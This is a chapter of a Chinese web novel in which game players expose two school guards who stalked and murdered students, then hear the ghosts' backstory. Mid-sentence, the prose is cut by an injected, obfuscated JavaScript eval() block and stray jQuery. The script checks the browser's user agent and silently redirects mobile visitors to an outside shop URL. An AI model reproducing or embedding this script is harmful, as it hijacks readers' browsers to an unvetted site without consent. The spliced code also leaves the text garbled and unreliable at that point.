阎壑背着孟回极从另一侧大门跑出了食堂,裴素在馄饨窗口的后厨,准确无误拎起了那把菜刀。
刀身有锈迹,还有股淡淡的腥味,贴近手柄的部分缺了一角,呈一个三角形。
裴素拎着刀跑出了食堂,一口浊气到食堂外才吐出,继而演变成惊天动地的咳嗽。
“妈的。”裴素难得骂了脏话,“差点交代在这儿。”
江袭扶了她一把。
“人活着。”江袭说,“被你捞回来了,裴神。”
“别用这么中二的称呼喊我。”裴素把菜刀递给江袭,“我真没兴趣。”
江袭笑了下:“这下齐了。”
后厨的工作人员各自扎堆,程心悠和缪之阑匆匆赶到,程心悠走上前,拿过来江袭手里的菜刀。
江袭任她摆弄那把沉重的剁骨刀,转身走到了缪之阑身侧,“缪老师。”
缪之阑点头:“江老师。”
江袭笑了笑:“不知道您父亲的名姓是?”
缪之阑不明所以,但仍然答道,“缪贺。”
江袭抬手,手掌轻轻搁在他肩上。
“缪老师。”江袭说,“送周媛和程心悠回家之前,你是不是总让他们先在你办公室等你一会儿?”
缪之阑点头:“是,怎么?”
“没什么。”江袭说,“我只是想告诉你,学校新来的保安,好像也叫缪贺。”
对话以缪之阑大变的脸色结束,他步履匆匆,到后来几乎是跑向校门的方向。
程心悠看了一眼缪之阑的背影:“你们要递交答案了吗?”
裴素抿了抿嘴:“这要问江袭。”
程心悠满不在乎:“随便。”
她把刀塞回给裴素,转身回了教学楼。
“今晚出副本吗。”裴素拿着把豁刀询问走来的江袭,“线索都齐了,可以交答案了吧。”
“不着急。”江袭说,“还有样东西得交给程心悠。”
火被赶来的消防扑灭,裴素和江袭并肩走进食堂,在馄饨的工作人员窗口找到了天狗面具的主人。
相当憨厚老实的一张脸,照片下面打印着名字。
陈敦。
…
孟回极在救治之后被阎壑背回了公寓,被一床棉被裹得严严实实,裴素和孙常祠轮班守着他,江袭坐在最边上,摆弄着阎壑的相机。
入夜时是程心悠自己回来,缪之阑没有送她,孟回极神志不清,在短暂的清醒之后又陷入了昏迷。
“我看了线索。”孟回极半耷着眼皮,“看到了江袭写给我的……关于跟踪者的猜测,但是我不知道尾随者的名字,没法完成我的任务,所以我想确认他们的身份之后,好提交答案。”
“……程心悠去了教室,我敲开了保安室的门。在值班的花名册……看到了他们的名字,我给了他们一人一根烟,说丢了钱夹,想进保安室看监控。”
孟回极艰难的回忆着,太阳穴突突直跳,嘟囔着比划。
“他们拦住了我,我们起了冲突,我不小心扯掉了床边的帘幕,露出了一整面墙的照片。陈敦……那个狗牙脸,他把我打晕,缪贺把我拖到了小馄饨的后厨,用那把豁口的刀在我身上比划。”
“但是他被裴素叫馄饨的声音打断了,所以他顺着后厨内部的路把我塞进海鲜粥的冰柜,要把我冻死。”
阎壑想问他什么照片,却被江袭制止。
“辛苦了。”江袭说,“睡吧。”
“递交答案前我们会叫醒你。”江袭说,“所以不用担心。”
孟回极张了张嘴:“对不起。”
江袭笑着蒙住他的眼:“没关系。”
晚归的程心悠径自回了自己房间,江袭在程心悠合上房门的声音响起之后带着孙常祠起身,准备离开。
“看好他。”江袭说,“别让他暴起袭击裴素。”
阎壑茫然:“你刚刚还说没关系?”
江袭淡淡扫了他一眼:“我装的。”
“他可以毫无愧疚的道歉,我也可以满怀恶意的原谅。”
孙常祠笑了下:“待会儿见。”
江袭带着孙常祠往学校走,相机两侧的黑色长带缠在江袭手腕,顺着手腕向下攀了两圈。
他们没绕远路,顺着树林直直向前,风声灌进树桠间的缝隙,发出阵呜咽的响。
“你觉得缪之阑还活着吗。”江袭问。
孙常祠跟在他身侧,闻言挑了下眉头,“缪贺是他亲爸,不至于吧。”
“他们三家世交,”江袭说,“缪贺连自己看着长大的小姑娘都下得去手,亲儿子也说不准。”
“何况还有个陈敦。”
孙常祠恶寒:“哪里来的鬼父。”
“等会儿你得跑的够快。”江袭轻拍孙常祠的背,“别被发现身份,别被抓到,拖延半小时后立刻脱身,能做到吗。”
孙常祠挠了挠鼻尖。
月光浅淡,冷光飘飘忽忽铺了满地,江袭垂下眼睫和孙常祠对视,仔细端详时才惊觉他眼尾有一粒细小的红痣。
和一直教导他的那位朋友生在同样的地方。
“我大概可以。”孙常祠说,“但如果是我朋友在,他绝对可以做到。”
江袭失笑:“为什么一直明里暗里向我推销你朋友?”
孙常祠眨眨眼,把手掌贴在耳边,“不是推销。”
“他说这是宣传。”
江袭偏过头,笑了一声。
“等你做到再说。”
下一刻,两道身影同时消失在原地,向着不同的方向疾奔。
江袭匿进树林边缘的阴影,孙常祠拾起砖块砸烂了保安室的窗户,压着嗓音喊了一声。
“缪贺,陈敦——睡得这么早,半夜不怕周媛找你们索命?”
保安室的门被从内往外大力踹开,两个人拖着长柄斧,阴着脸走出保安室。
两张狰狞的脸紧追着孙常祠,背影变成细小的黑点时江袭进了保安室,一把扯下了床边的帘幕。
保安室内很狭小,除了一张单人床一张木桌外几乎搁不下别的东西,木桌和吊顶上有四面监控,在夜里发出蓝幽幽的光。
借着蓝光,江袭看清帘幕后的东西——那是一面墙。
大批的学生照片被洗出钉在墙上,图钉扎在照片中学生的颈部或前胸,照片边上钉着便利贴,详细记录着是否有人接送,平时进出校门的时间。
其中有几个被画上了大大的红叉,周媛赫然在列。
缪之阑躺在单人床上,双眼紧闭,木桌上撇着一把匕首,看起来刃都没开。
江袭没管缪之阑,自顾自摁亮了灯,而后举起相机,对准了这面墙。
他拍了许多,数张全景和大量特写,手端得很稳,直到在最角落的地方看到他自己。
不知道什么时候偷拍的侧脸,倚着承重柱的青年垂着眼睫,容色温柔,似乎是在跟学生说话。
边上钉着个便利贴,一笔一划写着他的姓名。
江袭沉下了脸。
他把不知死活的缪之阑从床上拎下,放到了门外。
他录下了整个房间的布置,拍了视频,把木桌上的值班表也拍的清清楚楚,而后冷着脸出门,拖着缪之阑往回走。
时钟分针一动,指到30。
孙常祠迅速拉开距离消失在小路,缪贺和陈敦找了半晌,愤愤骂了两声。
八分钟后江袭把缪之阑扔在了程心悠房门口,脸色不大好地敲响程心悠的门。
程心悠抱着花蜜开门,小三花跳进江袭怀里,软乎乎喵了一声。
江袭抱着猫揉了揉,手里的相机轻飘飘一丢,撇进了程心悠怀里。
程心悠愣了愣。
“照片墙。”江袭说,“能报案的事就别自己刀人了。”
程心悠半张着嘴,然后开始翻看相片。
她的手在细微地颤抖,就连缪之阑醒来气若游丝地喊她都没反应。
江袭靠着栏杆:“如果你们想讲个故事,待会儿可以来我的公寓。”
“如果不想,我们这就交答案了。”
程心悠俯下身,把缪之阑从地上拉起。
“谢谢。”程心悠说。
缪之阑还没回过神就被程心悠拉着下楼,一把摁在了江袭的沙发上。
小区里昏暗的路灯倏地爆开,噼啪的火花里程心悠指指他们的手腕,“先交答案吧。”
“交了之后缪贺他们就进不来了,副本结束之前,还能讲一会儿。”
长柄斧在地上拖行,摩擦的响声尖利的令人牙酸,江袭和阎壑点开了面板,提交了尾随者的身份。
缪贺、陈敦。
一旁的孙常祠和孟回极完成了提交,裴素同样点开面板,他输入周媛和程心悠的名字,在提交前被江袭拦住。
玩家之间互相看不到彼此面板信息,只有满是代码的屏幕,江袭侧过脸问她,“你指认了几个人?”
裴素茫然:“两个。”
程心悠抬头看她:“少了。”
“如果你只是指认了我和媛媛。”程心悠表情寡淡,“那被缪贺砸死的花蜜、原本已经被媛媛吃了的缪贺、陈敦;还有被陈敦误殺的缪之阑算什么。”
裴素不寒而栗。
她啪啪啪输入了一长串名字,点了确认提交。
在裴素摁下提交的那一刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176302|150592||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,风声和路灯滋滋的响声戛然而止,长柄斧摩擦地面的声音也尽数隐匿,窗外景象倏然被漆黑的穹隆吞并,世界剥离了颜色,只剩这个房间。
缪之阑仿佛后知后觉:“啊。”
“我死了吗?”缪之阑摸摸自己的脸,“什么时候?”
程心悠看着他,张了张嘴。
她看起来有些悲伤。
“很早。”程心悠说,“你死在媛媛死后的第二天。”
“这是个不算长的故事。”程心悠晃着小腿,面板的淡蓝色荧光斜着打在她脸上,“在你们离开前,我们应该能讲完。”
“我们三家是世交,从我们祖父那一辈开始,缪贺跟我和媛媛的父辈交好,我们两个从小就黏着大院里最好看的缪家之阑,和之阑哥很要好。”
“他大我们很多,很疼我和媛媛。”
程心悠晃悠着小腿,脸上是一派温和的笑意。
“缪贺年轻时候是学戏的,是个角儿,后来因为演出事故烧伤就消沉下去,那会儿我和媛媛不懂事,还被他的脸吓哭过。”
程心悠怀念地笑开,轻拍了一下手,“他说没关系,然后给我和媛媛一人包了一个大红包,说是压惊的平安包。”
“也算是自作孽,那一场哭闹让他记恨了我和媛媛十多年。”
缪之阑抬手摸了摸程心悠的头发,眉眼间依旧忧郁而哀伤,“接下来的事我来讲。”
“我在邻城工作,不常回家,没及时发现我爸在毁了脸之后的不对劲。”
“他开始对漂亮的年轻孩子产生畸形的欲望,其中首当其冲就是媛媛,我发现之后和他大闹一场,假装有怪事发生,把媛媛转到了我任教的学校。”
“之后心悠也被我爸盯上,在我不知道的情况下尾随心悠,导致她精神焦虑,崩溃。他毕竟是我爸,我没办法,只能把心悠也转到我这里。转来之前,她认识了你们。”
程心悠突然笑了声:“我在来到这个城市的第二天缪贺瞒着缪之阑跟来,他拜托人在邻城定时给之阑哥发定位,假装自己从没离开过。”
“当天晚上跟踪了我,让我的焦虑更甚,第二天开始跟踪媛媛,之阑哥以为我们还在阴影里,开始接送我和媛媛回家。”
之后的故事就是那样恶心又龌龊,缪之阑每天接送两个女孩儿早出晚归,与保安隔着一扇门交流,从来打不上正经照面。
缪贺应聘了她们学校的保安,认识了学校后厨的陈敦——一个与他同样龌龊的好友。
他们制作了照片墙,垂涎每个年轻的孩子,时不时跟踪周媛和程心悠,并在某一天对周媛下手。
那晚是星期五,学校下午就放学,早就没了人,程心悠原本请假在家,却因为不放心家里没人、只能在学校等待缪之阑送她回家的周媛,于是在晚上来了学校。
她抱着只给周媛买的烤红薯,看到保安室里挣扎的人影。
那时照片墙还没扯帘幕,她从玻璃外清晰看到挣扎的周媛和大面积的照片,也从模糊的灯光中认出了缪贺的侧脸。
程心悠没有呼喊,也没有尖叫,她默不作声地倒退着离开,每一步都小心翼翼。
一步,两步。
在退到足够安全的距离后程心悠拔腿狂奔,她急于躲进人群,然后报警。
然后在那片树林里被陈敦堵个正着。
他拖着长柄斧,砍下了程心悠的头。
事后的周媛被丢弃在树林里,程心悠的尸体跟她趴在一起,周媛醒来之后精神崩溃,从五楼一跃而下。
外出开会晚归的缪之阑在次日得知了她们的死讯,也在保安室的福娃面具下窥得了烧伤的鞭痕,他默不作声,在夜晚拿着匕首进了保安室。
他把刀尖对准他的父亲。
缪贺无法理解缪之阑的崩溃,在短暂的对峙过后,拖着长柄斧破门而入的陈敦将缪之阑误殺。
神寓捕捉了他们的波长,将他们归拢成了副本,周媛变成树里的血尸,生吃了陈敦和缪贺。
他们遵循着副本机制轮回,扮演着生前的模样和角色,一次又一次。
“我能短暂的挣脱这种无聊的扮演游戏。”程心悠说,“间歇性的。”
江袭几人半边身子已经被蓝光吞没,江袭鼓掌赞叹,“怪不得你像个精分。”
程心悠踹了他一脚。
“谢谢你的相机。”在房间被蓝光彻底吞没之前,程心悠对着江袭说,“出去后记得看道具槽。”
“再见。”
【系统载入成功。】
【玩家江袭、裴素、孙常祠、阎壑、孟回极通关副本,尾随。请查收副本评级、副本奖励。】
【请选择中转站。】